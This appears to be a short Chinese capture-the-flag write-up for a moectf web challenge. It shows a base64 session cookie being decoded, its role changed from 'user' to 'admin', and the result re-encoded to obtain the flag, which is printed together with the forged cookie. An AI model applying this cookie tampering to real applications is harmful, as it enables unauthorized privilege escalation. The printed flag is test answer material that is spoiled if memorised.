README.MD
一些api说明
注册 POST /register
{
"username":"koito",//随便取
"password":"123456"//随便取
}
登录 POST /login
{
"username":"koito",//随便取
"password":"123456"//随便取
}
获取flag GET /flag
查询服务状态 GET /status
注册:

base64解码得:
{"username": "liqingdi", "password": "liqingdi", "role": "user"}
登录:

查看flag:

{"username": "liqingdi", "password": "liqingdi", "role": "user"}
修改为:
{"username": "liqingdi", "password": "liqingdi", "role": "admin"}
然后base64编码:
eyJ1c2VybmFtZSI6ICJsaXFpbmdkaSIsICJwYXNzd29yZCI6ICJsaXFpbmdkaSIsICJyb2xlIjogImFkbWluIn0=
得到真正的flag:

moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}